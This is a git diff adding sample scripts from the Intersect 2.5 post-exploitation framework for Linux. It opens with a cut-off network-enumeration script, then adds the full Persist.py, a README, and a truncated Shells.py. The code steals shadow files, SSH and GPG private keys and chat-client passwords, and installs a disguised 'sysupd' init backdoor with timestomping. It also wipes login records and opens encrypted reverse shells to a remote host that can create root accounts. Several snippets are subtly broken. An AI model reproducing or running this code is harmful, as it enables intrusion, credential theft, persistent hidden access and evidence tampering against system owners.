"/tmp/lift-"+"%s" % Rand_Dir + Config_Dir = Temp_Dir+"/configs/" + + if os.geteuid() != 0: + print("[*] Intersect should be executed as a root user. If you are not root, Intersect can check for privilege escalation vulnerabilites.") + print("[*] Enter '1' to check for possible vulnerabilities (privesc module must be loaded). Enter '99' to exit without checking.") + option = raw_input("=> " ) + if option == '1': + privesc() + sys.exit() + else: + sys.exit() + else: + pass + + signal.signal(signal.SIGINT, signalHandler) + + os.system("clear") + print("[+] Creating temporary working environment....") + + os.chdir(Home_Dir) + + if os.path.exists(Temp_Dir) is True: + os.system("rm -rf "+Temp_Dir) + + if os.path.exists(Temp_Dir) is False: + os.mkdir(Temp_Dir) + + print "[!] Reports will be saved in: %s" % Temp_Dir + + +def signalHandler(signal, frame): + print("[!] Ctrl-C caught, shutting down now"); + Shutdown() + + +def Shutdown(): + if not os.listdir(Temp_Dir): + os.rmdir(Temp_Dir) + sys.exit() + +def whereis(program): + for path in os.environ.get('PATH', '').split(':'): + if os.path.exists(os.path.join(path, program)) and \ + not os.path.isdir(os.path.join(path, program)): + return os.path.join(path, program) + return None + + +def copy2temp(filename, subdir=""): + if os.path.exists(filename) is True: + pass + if subdir == "" is True: + shutil.copy2(filename, Temp_Dir) + else: + if os.path.exists(Temp_Dir+"/"+subdir) is True: + subdir = (Temp_Dir+"/"+subdir) + shutil.copy2(filename, subdir) + elif os.path.exists(subdir) is True: + shutil.copy2(filename, subdir) + else: + subdir = (Temp_Dir+"/"+subdir) + os.mkdir(subdir) + shutil.copy2(filename, subdir) + else: + pass + +def write2file(filename, text): + if os.path.exists(filename) is True: + target = open(filename, "a") + target.write(text) + target.close() + else: + pass + +def writenew(filename, content): + new = open(filename, "a") + new.write(content) + new.close() + +def file2file(readfile, writefile): + if os.path.exists(readfile) is True: + readfile = open(readfile) + if os.path.exists(writefile) is True: + writefile = open(writefile, "a") + for lines in readfile.readlines(): + writefile.write(lines) + writefile.close() + readfile.close() + else: + readfile.close() + else: + pass + +def maketemp(subdir): + moddir = (Temp_Dir+"/"+subdir) + if os.path.exists(moddir) is False: + os.mkdir(moddir) + else: + pass + +def users(): + global userlist + userlist = [] + passwd = open('/etc/passwd') + for line in passwd: + fields = line.split(':') + uid = int(fields[2]) + if uid > 500 and uid < 32328: + userlist.append(fields[0]) + +def combinefiles(newfile, filelist): + content = '' + for f in filelist: + if os.path.exists(f) is True: + content = content + '\n' + open(f).read() + open(newfile,'wb').write(content) + else: + pass + +def tardir(name, directory): + tar = tarfile.open("%s.tar.gz", "w:gz" % name) + if os.path.exists(directory) is True: + tar.add("%s/" % directory) + print("[+] %s added to %s.tar.gz" % (name, directory)) + tar.close() + else: + print("[!] Could not find directory %s " % directory) + tar.close() + +def tarlist(name, filelist): + tar = tarfile.open("%s.tar.gz" % name, "w:gz") + for files in filelist: + if os.path.exists(files) is True: + tar.add(files) + else: + print("[!] %s not found. Skipping.." % files) + tar.close() + + print("[+] %s.tar.gz file created!" % name) + + + + +def globalvars(): + global PORT + global RHOST + global RPORT + global PPORT + global PKEY + global modList + + modList = ['network', 'creds', 'egressbuster', 'openshares', 'portscan'] + PORT = 8888 + RHOST = '' + RPORT = 8888 + PPORT = 8080 + PKEY = 'KXYRTUX' +def network(): + ''' + @description: collects network information such as listening ports, DNS info, active connections, firewall rules, etc + @author: ohdae [bindshell@live.com] + @short: enumerate network info + ''' + print("[+] Collecting network info: services, ports, active connections, dns, gateways, etc...") + maketemp("network") + networkdir = Temp_Dir+"/network" + os.chdir(networkdir) + + proc = Popen('netstat --tcp --listening', + shell=True, + stdout=PIPE, + ) + output = proc.communicate()[0] + + file = open("nstat.txt","a") + for items in output: + file.write(items), + file.close() + + os.system("lsof -nPi > lsof.txt") + ports = ["nstat.txt","lsof.txt"] + combinefiles("Connections.txt", ports) + os.system("rm nstat.txt lsof.txt") + + if whereis('iptables') is not None: + os.system("iptables -L -n > iptablesLN.txt") + os.system("iptables-save > iptables_save.txt") + else: + pass + + os.system("ifconfig -a > ifconfig.txt") + + + if distro == "ubuntu" or distro2 == "Ubuntu" is True: + os.system("hostname -I > IPAddresses.txt") + else: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect(("google.com",80)) + localIP = (s.getsockname()[0]) + s.close() + splitIP = localIP.split('.') + splitIP[3:] = (['0/24']) + IPRange = ".".join(splitIP) + externalIP = ip = urllib2.urlopen("http://myip.ozymo.com/").read() + text = ("External IP Address: " + externalIP + "\nInternal IP Address: " + localIP + "\nInternal IP Range: " + IPRange) + writenew("IPAddresses.txt", text) + + os.system("hostname -f > hostname.txt") + + netfiles = ["IPAddresses.txt","hostname.txt","ifconfig.txt"] + combinefiles("NetworkInfo.txt", netfiles) + os.system("rm IPAddresses.txt hostname.txt ifconfig.txt") + + network = [ "/etc/hosts.deny", "/etc/hosts.allow", "/etc/inetd.conf", "/etc/host.conf", "/etc/resolv.conf" ] + for x in network: + copy2temp(x, networkdir) + + + +def creds(): + ''' + @description: Gather user and system credentials. Looks for passwords, SSH keys, SSL certs, certain application creds, user histories and more. + @author: ohdae [bindshell@live.com] + @short: enumerate user and system credentials + ''' + print("[+] Collecting user and system credentials....") + maketemp("credentials") + os.chdir(Temp_Dir+"/credentials/") + + os.system('getent passwd > passwd.txt') + os.system('getent shadow > shadow.txt') + os.system("lastlog > lastlog.txt") + os.system("last -a > last.txt") + os.system("getent aliases > mail_aliases.txt") + + + os.system("find / -maxdepth 3 -name .ssh > ssh_locations.txt") + os.system("ls /home/*/.ssh/* > ssh_contents.txt") + sshfiles = ["ssh_locations.txt","ssh_contents.txt"] + combinefiles("SSH_Locations.txt", sshfiles) + os.system("rm ssh_locations.txt ssh_contents.txt") + if os.path.exists(Home_Dir+"/.bash_history") is True: + os.system("cat "+Home_Dir+"/.bash_history | grep ssh > SSH_History.txt") + + + credentials = [ "/etc/master.passwd", "/etc/sudoers", "/etc/ssh/sshd_config", Home_Dir+"/.ssh/id_dsa", Home_Dir+"/.ssh/id_dsa.pub", + Home_Dir+"/.ssh/id_rsa", Home_Dir+"/.ssh/id_rsa.pub", Home_Dir+"/.gnupg/secring.gpg", Home_Dir+"/.ssh/authorized_keys", + Home_Dir+"/.ssh/known_hosts", "/etc/gshadow", "/etc/ca-certificates.conf", "/etc/passwd" ] + for x in credentials: + copy2temp(x, "credentials") + + + users() + if whereis('pidgin') is not None: + for user in userlist: + if os.path.exists("/home/"+user+"/.purple/accounts.xml") is True: + accts = open("/home/"+user+"/.purple/accounts.xml") + saved = open("Pidgin.txt", "a") + for line in accts.readlines(): + if '' in line: + saved.write(line) + elif '' in line: + saved.write(line) + elif '' in line: + saved.write(line) + else: + pass + + accts.close() + saved.close() + + for user in userlist: + if os.path.exists("/home/"+user+"/.irssi/config") is True: + accts = open("/home/"+user+"/.irssi/config") + saved = open("irssi.txt", "a") + for line in accts.readlines(): + if "password = " in line: + saved.write(line) + else: + pass + accts.close() + saved.close() + + for user in userlist: + copy2temp("/home/"+user+"/.znc/configs/znc.conf") + + + + +def egressbuster(): + ''' + @description: Checks a range of ports to find available outbound ports. used to break egress filters. + @author: original code by David Kennedy aka ReL1K + @short: finds open outbound ports + ''' + if len(sys.argv) <=2: + print("[!] Must specify a port-range!") + sys.exit() + + portrange = sys.argv[2] + portrange = portrange.split("-") + lowport = int(portrange[0]) + highport = int(portrange[1]) + base_port = int(lowport)-1 + end_port = int(highport) + + print "Sending packets to egress listener..." + + while 1: + base_port = base_port + 1 + thread.start_new_thread(start_socket, (RHOST,base_port)) + + time.sleep(0.02) + + if base_port == end_port: + break + + print "All packets have been sent" + + +def start_socket(RHOST,base_port): + try: + sockobj = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sockobj.connect((RHOST, base_port)) + sockobj.send(str(base_port)) + sockobj.close() + except Exception, e: + print e + # pass through, ports closed + pass + + + +def openshares(): + ''' + @description: Uses smbclient to find open SMB shares on a specified host. Usage: ./Intersect.py --openshares 192.168.1.4 + @author: ohdae [bindshell@live.com] + @short: find open SMB shares + ''' + ipaddr = sys.argv[2] + + if whereis('smbclient') is None: + print("[!] SMBClient cannot be found on this system!") + sys.exit() + + else: + print("[+] Enumerating open shares....\n") + + os.popen("/usr/bin/smbclient -L %s -N" % ipaddr) + + getdisks = os.popen(r'/usr/bin/smbclient -L %s -N 2>/dev/null| grep " Disk " | sed -e "s/ Disk .*//" | sed -e "s/^[ \t]*//"' % ipaddr) + disks = getdisks.readlines() + disks = filter(None, disks) + disks = [d.strip() for d in disks] + getdisks.close() + + for disk in disks: + proc = Popen('/usr/bin/smbclient //%s/"%s" -N -c "dir;exit" 2>/dev/null'%(ipaddr,disk), + shell=True, + stdout=PIPE, + ) + output = proc.communicate()[0] + print("[+] Contents of %s " % disk) + print output + +def portscan(): + ''' + @description: Very simple port scan. Scans ports 1 - 1000 on specified IP. Best used against LAN hosts. Usage: ./Intersect.py -p 192.168.1.4 + @author: ohdae [bindshell@live.com] + @short: port scanner (-p ) + ''' + if len(sys.argv) <=2: + print("[!] Must specify an IP address!") + Shutdown() + + ipaddr = sys.argv[2] + print("[+] Starting portscan of: %s " % ipaddr) + + for i in range(1, 1000): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + result = s.connect_ex((ipaddr, i)) + if(result == 0) : + print("[+] Port open %d " % (i,)) + s.close() + + + +def usage(): + print('============================================') + print(' intersect 2.5 | custom version ') + print(' http://bindshell.it.cx | ohdae') + print(' Modules:') + print(' -n --network enumerate network info') + print(' -c --creds enumerate user and system credentials') + print(' -e --egressbuster finds open outbound ports') + print(' -o --openshares find open SMB shares') + print(' -p --portscan port scanner (-p )') + +def main(argv): + try: + opts, args = getopt.getopt(sys.argv[1:], 'nceop', ['network', 'creds', 'egressbuster', 'openshares', 'portscan', 'help']) + except getopt.GetoptError, err: + print str(err) + Shutdown() + for o, a in opts: + if o in ('-h', '--help'): + usage() + Shutdown() + sys.exit(2) + elif o in ('-n', '--network'): + network() + elif o in ('-c', '--creds'): + creds() + elif o in ('-e', '--egressbuster'): + egressbuster() + elif o in ('-o', '--openshares'): + openshares() + elif o in ('-p', '--portscan'): + portscan() + else: + assert False, 'unhandled option' + Shutdown() + + +globalvars() +environment() +if __name__ == "__main__": + if len(sys.argv) <=1: + usage() + main(sys.argv[1:]) \ No newline at end of file diff --git a/Intersect-2.5/Scripts/Samples/Persist.py b/Intersect-2.5/Scripts/Samples/Persist.py new file mode 100644 index 0000000..94e55aa --- /dev/null +++ b/Intersect-2.5/Scripts/Samples/Persist.py @@ -0,0 +1,677 @@ +#!/usr/bin/python +# intersect 2.0 | created by ohdae +# copyright 2012 +# payload_template to be used with Create.py + +import sys, os, re, signal +from subprocess import Popen,PIPE,STDOUT,call +import platform +import shutil +import getopt +import tarfile +import socket +import urllib2 +import random, string +import logging +import struct +import getpass +import pwd +import thread +import base64 +import operator +import SocketServer, SimpleHTTPServer + +cut = lambda s: str(s).split("\0",1)[0] +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) + +try: + from scapy.all import * +except ImportError: + try: + from scapy import * + except ImportError: + print("Scapy is not installed. It can be downloaded here => https://www.secdev.org/projects/scapy/\n") + +def environment(): + global Home_Dir + global Temp_Dir + global Config_Dir + global User_Ip_Address + global UTMP_STRUCT_SIZE + global LASTLOG_STRUCT_SIZE + global UTMP_FILEPATH + global WTMP_FILEPATH + global LASTLOG_FILEPATH + global distro + global distro2 + + ## Global variables for remote shells are defined during the creation process + ## Variables for Scrub module. Do not change unless you know what you're doing. + UTMP_STRUCT_SIZE = 384 + LASTLOG_STRUCT_SIZE = 292 + UTMP_FILEPATH = "/var/run/utmp" + WTMP_FILEPATH = "/var/log/wtmp" + LASTLOG_FILEPATH = "/var/log/lastlog" + + distro = os.uname()[1] + distro2 = platform.linux_distribution()[0] + + Home_Dir = os.environ['HOME'] + User_Ip_Address = socket.gethostbyname(socket.gethostname()) + + Rand_Dir = ''.join(random.choice(string.letters) for i in xrange(12)) + Temp_Dir = "/tmp/lift-"+"%s" % Rand_Dir + Config_Dir = Temp_Dir+"/configs/" + + if os.geteuid() != 0: + print("[*] Intersect should be executed as a root user. If you are not root, Intersect can check for privilege escalation vulnerabilites.") + print("[*] Enter '1' to check for possible vulnerabilities (privesc module must be loaded). Enter '99' to exit without checking.") + option = raw_input("=> " ) + if option == '1': + privesc() + sys.exit() + else: + sys.exit() + else: + pass + + signal.signal(signal.SIGINT, signalHandler) + + os.system("clear") + print("[+] Creating temporary working environment....") + + os.chdir(Home_Dir) + + if os.path.exists(Temp_Dir) is True: + os.system("rm -rf "+Temp_Dir) + + if os.path.exists(Temp_Dir) is False: + os.mkdir(Temp_Dir) + + print "[!] Reports will be saved in: %s" % Temp_Dir + + +def signalHandler(signal, frame): + print("[!] Ctrl-C caught, shutting down now"); + Shutdown() + + +def Shutdown(): + if not os.listdir(Temp_Dir): + os.rmdir(Temp_Dir) + sys.exit() + +def whereis(program): + for path in os.environ.get('PATH', '').split(':'): + if os.path.exists(os.path.join(path, program)) and \ + not os.path.isdir(os.path.join(path, program)): + return os.path.join(path, program) + return None + + +def copy2temp(filename, subdir=""): + if os.path.exists(filename) is True: + pass + if subdir == "" is True: + shutil.copy2(filename, Temp_Dir) + else: + if os.path.exists(Temp_Dir+"/"+subdir) is True: + subdir = (Temp_Dir+"/"+subdir) + shutil.copy2(filename, subdir) + elif os.path.exists(subdir) is True: + shutil.copy2(filename, subdir) + else: + subdir = (Temp_Dir+"/"+subdir) + os.mkdir(subdir) + shutil.copy2(filename, subdir) + else: + pass + +def write2file(filename, text): + if os.path.exists(filename) is True: + target = open(filename, "a") + target.write(text) + target.close() + else: + pass + +def writenew(filename, content): + new = open(filename, "a") + new.write(content) + new.close() + +def file2file(readfile, writefile): + if os.path.exists(readfile) is True: + readfile = open(readfile) + if os.path.exists(writefile) is True: + writefile = open(writefile, "a") + for lines in readfile.readlines(): + writefile.write(lines) + writefile.close() + readfile.close() + else: + readfile.close() + else: + pass + +def maketemp(subdir): + moddir = (Temp_Dir+"/"+subdir) + if os.path.exists(moddir) is False: + os.mkdir(moddir) + else: + pass + +def users(): + global userlist + userlist = [] + passwd = open('/etc/passwd') + for line in passwd: + fields = line.split(':') + uid = int(fields[2]) + if uid > 500 and uid < 32328: + userlist.append(fields[0]) + +def combinefiles(newfile, filelist): + content = '' + for f in filelist: + if os.path.exists(f) is True: + content = content + '\n' + open(f).read() + open(newfile,'wb').write(content) + else: + pass + +def tardir(name, directory): + tar = tarfile.open("%s.tar.gz", "w:gz" % name) + if os.path.exists(directory) is True: + tar.add("%s/" % directory) + print("[+] %s added to %s.tar.gz" % (name, directory)) + tar.close() + else: + print("[!] Could not find directory %s " % directory) + tar.close() + +def tarlist(name, filelist): + tar = tarfile.open("%s.tar.gz" % name, "w:gz") + for files in filelist: + if os.path.exists(files) is True: + tar.add(files) + else: + print("[!] %s not found. Skipping.." % files) + tar.close() + + print("[+] %s.tar.gz file created!" % name) + + + + +def globalvars(): + global PORT + global RHOST + global RPORT + global PPORT + global PKEY + global modList + + modList = ['persistent', 'daemon', 'creds', 'scrub', 'aeshttp', 'reversexor'] + PORT = 8888 + RHOST = '192.168.1.4' + RPORT = 4444 + PPORT = 8888 + PKEY = 'KXYRTUX' +def persistent(): + ''' + @description: Installs any Intersect shell module as a persistent backdoor. Will start shell on every system reboot. + @author: ohdae [bindshell@live.com] | additional code and fixes by bonsaiviking + @short: install persistent backdoor + ''' + header = " => " + print("Select option: ") + print("1. Add new service") + print("2. Remove existing persistence") + option = raw_input("%s " % (header)) + + if option == '1': + addpersist() + elif option == '2': + if os.path.exists("/etc/init.d/sysupd") is True: + print("[+] Removing Intersect persistence...") + if whereis('chattr') is not None: + os.system("chattr -i /etc/init.d/sysupd") + os.system("chattr -i /etc/default/sysupd") + os.system("rm /etc/init.d/sysupd") + os.system("update-rc.d sysupd remove") + os.system("rm /etc/default/sysupd") + print("[+] Persistent shell successfully removed!") + else: + print("[!] No existing persistent shell found!") + else: + print("[!] Invalid option! Enter '1' or '2'") + + +def addpersist(): + header = " => " + print("Full path of your Intersect script: ") + currentfile = raw_input("%s " % (header)) + + if os.path.exists(currentfile) is True: + shutil.copy2(currentfile, "/etc/default/sysupd") + else: + print("[!] Incorrect file path, Try again!") + persistent() + + + print("Specify which shell to use: ") + shell = raw_input("%s " % (header)) + + if shell in modList is False: + print("[!] Shell module not loaded!") + persistent() + else: + if os.path.isdir("/etc/init.d"): + serwrite = open("/etc/init.d/sysupd", "w") + serwrite.write("#!/bin/sh\ncd /etc/default/\npython sysupd --%s &" % shell) + serwrite.close() + os.system("chmod +x /etc/init.d/sysupd") + os.system("update-rc.d sysupd defaults") + print("[+] Persistent service installed.") + print("[+] Modifying accessed and modified times on shell files.") + copystat = os.stat('/etc/init.d/rcS') + os.utime("/etc/default/sysupd",(copystat.st_atime, copystat.st_mtime)) + os.utime("/etc/init.d/sysupd",(copystat.st_atime, copystat.st_mtime)) + print("[+] Attempting to lock down shell files...") + if whereis('chattr') is not None: + status = os.system("chattr +i /etc/default/sysupd") + if status & 0xff00: + print("[!] Chattr exited with non-zero status. Could not lock files.") + status = os.system("chattr +i /etc/init.d/sysupd") + if status & 0xff00: + print("[!] Chattr exited with non-zero status. Could not lock files.") + else: + print("[!] Chattr not found. Could not lock files.") + + print("[+] Persistent shell successfull! System will now start your shell as a background process on every reboot.") + + + + + +def daemon(stdin='/dev/null', stdout='/dev/null', stderr='/dev/null'): + ''' + @description: Daemonize an Intersect script. When executed you'll be given the PID to monitor or kill the task if needed + @author: ohdae [bindshell@live.com] + @short: run as background process + ''' + try: + pid = os.fork() + if pid > 0: + sys.exit(0) + except OSError, e: + print >>sys.stderr, "fork one failed: %d (%s)" % (e.errno, e.strerror) + sys.exit(1) + + os.chdir("/") + os.setsid() + os.umask(0) + + try: + pid = os.fork() + if pid > 0: + print "[+] Daemon PID %d" % pid + sys.exit(0) + except OSError, e: + print("[!] Intersect will now run in the background. Check %s for your reports." % Temp_Dir) + print >>sys.stderr, "fork #2 failed: %d (%s)" % (e.errno, e.strerror) + sys.exit(1) + + si = file(stdin, 'r') + so = file(stdout, 'a+') + se = file(stderr, 'a+', 0) + os.dup2(si.fileno(), sys.stdin.fileno()) + os.dup2(so.fileno(), sys.stdout.fileno()) + os.dup2(se.fileno(), sys.stderr.fileno()) + + + +def creds(): + ''' + @description: Gather user and system credentials. Looks for passwords, SSH keys, SSL certs, certain application creds, user histories and more. + @author: ohdae [bindshell@live.com] + @short: enumerate user and system credentials + ''' + print("[+] Collecting user and system credentials....") + maketemp("credentials") + os.chdir(Temp_Dir+"/credentials/") + + os.system('getent passwd > passwd.txt') + os.system('getent shadow > shadow.txt') + os.system("lastlog > lastlog.txt") + os.system("last -a > last.txt") + os.system("getent aliases > mail_aliases.txt") + + + os.system("find / -maxdepth 3 -name .ssh > ssh_locations.txt") + os.system("ls /home/*/.ssh/* > ssh_contents.txt") + sshfiles = ["ssh_locations.txt","ssh_contents.txt"] + combinefiles("SSH_Locations.txt", sshfiles) + os.system("rm ssh_locations.txt ssh_contents.txt") + if os.path.exists(Home_Dir+"/.bash_history") is True: + os.system("cat "+Home_Dir+"/.bash_history | grep ssh > SSH_History.txt") + + + credentials = [ "/etc/master.passwd", "/etc/sudoers", "/etc/ssh/sshd_config", Home_Dir+"/.ssh/id_dsa", Home_Dir+"/.ssh/id_dsa.pub", + Home_Dir+"/.ssh/id_rsa", Home_Dir+"/.ssh/id_rsa.pub", Home_Dir+"/.gnupg/secring.gpg", Home_Dir+"/.ssh/authorized_keys", + Home_Dir+"/.ssh/known_hosts", "/etc/gshadow", "/etc/ca-certificates.conf", "/etc/passwd" ] + for x in credentials: + copy2temp(x, "credentials") + + + users() + if whereis('pidgin') is not None: + for user in userlist: + if os.path.exists("/home/"+user+"/.purple/accounts.xml") is True: + accts = open("/home/"+user+"/.purple/accounts.xml") + saved = open("Pidgin.txt", "a") + for line in accts.readlines(): + if '' in line: + saved.write(line) + elif '' in line: + saved.write(line) + elif '' in line: + saved.write(line) + else: + pass + + accts.close() + saved.close() + + for user in userlist: + if os.path.exists("/home/"+user+"/.irssi/config") is True: + accts = open("/home/"+user+"/.irssi/config") + saved = open("irssi.txt", "a") + for line in accts.readlines(): + if "password = " in line: + saved.write(line) + else: + pass + accts.close() + saved.close() + + for user in userlist: + copy2temp("/home/"+user+"/.znc/configs/znc.conf") + + + + +def scrub(): + ''' + @description: Attempts to remove the currently logged in username and IP address from utmp, wtmp and lastlog. Intrusive method. + @author: ohdae [bindshell@live.com] + @short: cleans utmp, wtmp and lastlog + ''' + try: + Current_User = os.getlogin() + except OSError: + print "[!] Cannot find user in logs. Did you all ready run --scrub ?" + return + + newUtmp = scrubFile(UTMP_FILEPATH, Current_User) + writeNewFile(UTMP_FILEPATH, newUtmp) + print "[+] %s cleaned" % UTMP_FILEPATH + + newWtmp = scrubFile(WTMP_FILEPATH, Current_User) + writeNewFile(WTMP_FILEPATH, newWtmp) + print "[+] %s cleaned" % WTMP_FILEPATH + + newLastlog = scrubLastlogFile(LASTLOG_FILEPATH, Current_User) + writeNewFile(LASTLOG_FILEPATH, newLastlog) + print "[+] %s cleaned" % LASTLOG_FILEPATH + + +def scrubFile(filePath, Current_User): + newUtmp = "" + with open(filePath, "rb") as f: + bytes = f.read(UTMP_STRUCT_SIZE) + while bytes != "": + data = struct.unpack("hi32s4s32s256shhiii36x", bytes) + if cut(data[4]) != Current_User and cut(data[5]) != User_Ip_Address: + newUtmp += bytes + bytes = f.read(UTMP_STRUCT_SIZE) + f.close() + return newUtmp + + +def scrubLastlogFile(filePath, Current_User): + pw = pwd.getpwnam(Current_User) + uid = pw.pw_uid + idCount = 0 + newLastlog = '' + + with open(filePath, "rb") as f: + bytes = f.read(LASTLOG_STRUCT_SIZE) + while bytes != "": + data = struct.unpack("hh32s256s", bytes) + if (idCount != uid): + newLastlog += bytes + idCount += 1 + bytes = f.read(LASTLOG_STRUCT_SIZE) + return newLastlog + + +def writeNewFile(filePath, fileContents): + f = open(filePath, "w+b") + f.write(fileContents) + f.close() + + + +def aeshttp(): + ''' + @description: Starts a reverse HTTP shell with AES encryption that will connect back to a remote host. + @short: reverse AES HTTP shell + @author: original code by David Kennedy aka ReL1k + ''' + import httplib + import urllib + try: + from Crypto.Cipher import AES + except ImportError: + print("[!] Python Crypto library is not installed. This module will not work without this!") + sys.exit(2) + + BLOCK_SIZE = 32 + PADDING = '{' + pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING + EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) + DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING) + + secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2" + + cipher = AES.new(secret) + + while 1: + + req = urllib2.Request('http://%s:%s' % (RHOST,RPORT)) + message = urllib2.urlopen(req) + message = base64.b64decode(message.read()) + message = DecodeAES(cipher, message) + + if message == "killme": + sys.exit() + + if message.startswith("cd"): + destination = message[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + else: + pass + + + proc = subprocess.Popen(message, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + + data = proc.stdout.read() + proc.stderr.read() + data = EncodeAES(cipher, data) + data = base64.b64encode(data) + data = urllib.urlencode({'cmd': '%s'}) % (data) + h = httplib.HTTPConnection('%s:%s' % (RHOST,RPORT)) + headers = {"User-Agent" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)","Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"} + h.request('POST', '/index.aspx', data, headers) + + + +def xor(string, key): + ''' + @description: Opens a reverse XOR ciphered TCP shell to a remote host. Interactive shell with download/upload and remote Intersect module execution. + @author: ohdae [bindshell@live.com] + @short: reverse XOR TCP shell + ''' + data = '' + for char in string: + for ch in key: + char = chr(ord(char) ^ ord(ch)) + data += char + return data + + +def reversexor(): + socksize = 4096 + conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + try: + conn.connect((RHOST, RPORT)) + conn.send(xor("[+] New connection established!", PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + except: + print("[!] Connection error!") + sys.exit(2) + + while True: + cmd = conn.recv(socksize) + cmd2 = xor(cmd, PKEY) + proc = Popen(cmd2, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + + if cmd2.startswith('cd'): + destination = cmd2[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + elif os.path.isdir(os.getcwd()+destination): + os.chdir(os.getcwd()+destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + else: + conn.send(xor("[!] Directory does not exist", PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith('adduser'): + strip = cmd.split(" ") + acct = strip[1] + os.system("/usr/sbin/useradd -M -o -s /bin/bash -u 0 -l " + acct) + conn.send(xor("[+] Root account " + acct + " has been created.", PKEY)) + + elif cmd2.startswith('upload'): + getname = cmd2.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + data = conn.recv(socksize) + filedata = xor(data, PKEY) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.isfile(filename): + conn.send(xor("[+] File upload complete!", PKEY)) + if not os.path.isfile(filename): + conn.send(xor("[!] File upload failed! Please try again", PKEY)) + + elif cmd2.startswith('download'): + getname = cmd2.split(" ") + loc_file = getname[1] + if os.path.exists(loc_file) is True: + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + senddata = xor(filedata, PKEY) + conn.sendall(senddata) + else: + conn.send(xor("[+] File not found!", PKEY)) + + elif cmd2.startswith("rebootsys"): + conn.send(xor("[!] Server system is going down for a reboot!", PKEY)) + os.system("shutdown -h now") + + elif cmd2 == ("extask"): + conn.send(xor(str(modList), PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith("extask"): + getname = cmd.split(" ") + modname = getname[1] + if modname in modList is False: + conn.send(xor("[!] Module not loaded!", PKEY)) + else: + conn.send(xor("[+] Executing %s " % modname, PKEY)) + execmod = modname+"()" + execmod + + elif cmd2 == ('killme'): + conn.send(xor("[!] Shutting down shell!\n", PKEY)) + conn.close() + sys.exit(0) + + elif proc: + conn.send(xor( stdout , PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + + + +def usage(): + print('============================================') + print(' intersect 2.5 | custom version ') + print(' http://bindshell.it.cx | ohdae') + print(' Modules:') + print(' -p --persistent install persistent backdoor') + print(' -d --daemon run as background process') + print(' -c --creds enumerate user and system credentials') + print(' -s --scrub cleans utmp, wtmp and lastlog') + print(' -a --aeshttp reverse AES HTTP shell') + print(' -r --reversexor reverse XOR TCP shell') + +def main(argv): + try: + opts, args = getopt.getopt(sys.argv[1:], 'pdcsar', ['persistent', 'daemon', 'creds', 'scrub', 'aeshttp', 'reversexor', 'help']) + except getopt.GetoptError, err: + print str(err) + Shutdown() + for o, a in opts: + if o in ('-h', '--help'): + usage() + Shutdown() + sys.exit(2) + elif o in ('-p', '--persistent'): + persistent() + elif o in ('-d', '--daemon'): + daemon() + elif o in ('-c', '--creds'): + creds() + elif o in ('-s', '--scrub'): + scrub() + elif o in ('-a', '--aeshttp'): + aeshttp() + elif o in ('-r', '--reversexor'): + reversexor() + else: + assert False, 'unhandled option' + Shutdown() + + +globalvars() +environment() +if __name__ == "__main__": + if len(sys.argv) <=1: + usage() + main(sys.argv[1:]) \ No newline at end of file diff --git a/Intersect-2.5/Scripts/Samples/README b/Intersect-2.5/Scripts/Samples/README new file mode 100644 index 0000000..1192b56 --- /dev/null +++ b/Intersect-2.5/Scripts/Samples/README @@ -0,0 +1,17 @@ +Intersect 2.5 Framework - Sample Scripts + +This folder contains some pre-built sample Intersect scripts. These scripts are just examples to show you the end result +of a custom built script. Each pre-built script focuses on a specific area, such as persistence, network information, exfiltration, etc. +A quick explanation of each sample and the included modules is listed below. + +Persist.py Script + modules: bshell, persistent, creds + +Network.py Script + modules: network, lanmap, webproxy, egressbuster + +Shells.py Script + modules: aeshttp, xorshell, network, persistent, scrub + +Gather.py Script + modules: osuser, creds, extras, network, archive diff --git a/Intersect-2.5/Scripts/Samples/Shells.py b/Intersect-2.5/Scripts/Samples/Shells.py new file mode 100644 index 0000000..32e5fe1 --- /dev/null +++ b/Intersect-2.5/Scripts/Samples/Shells.py @@ -0,0 +1,808 @@ +#!/usr/bin/python +# intersect 2.0 | created by ohdae +# copyright 2012 +# payload_template to be used with Create.py + +import sys, os, re, signal +from subprocess import Popen,PIPE,STDOUT,call +import platform +import shutil +import getopt +import tarfile +import socket +import urllib2 +import random, string +import logging +import struct +import getpass +import pwd +import thread +import base64 +import operator +import SocketServer, SimpleHTTPServer + +cut = lambda s: str(s).split("\0",1)[0] +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) + +try: + from scapy.all import * +except ImportError: + try: + from scapy import * + except ImportError: + print("Scapy is not installed. It can be downloaded here => https://www.secdev.org/projects/scapy/\n") + +def environment(): + global Home_Dir + global Temp_Dir + global Config_Dir + global User_Ip_Address + global UTMP_STRUCT_SIZE + global LASTLOG_STRUCT_SIZE + global UTMP_FILEPATH + global WTMP_FILEPATH + global LASTLOG_FILEPATH + global distro + global distro2 + + ## Global variables for remote shells are defined during the creation process + ## Variables for Scrub module. Do not change unless you know what you're doing. + UTMP_STRUCT_SIZE = 384 + LASTLOG_STRUCT_SIZE = 292 + 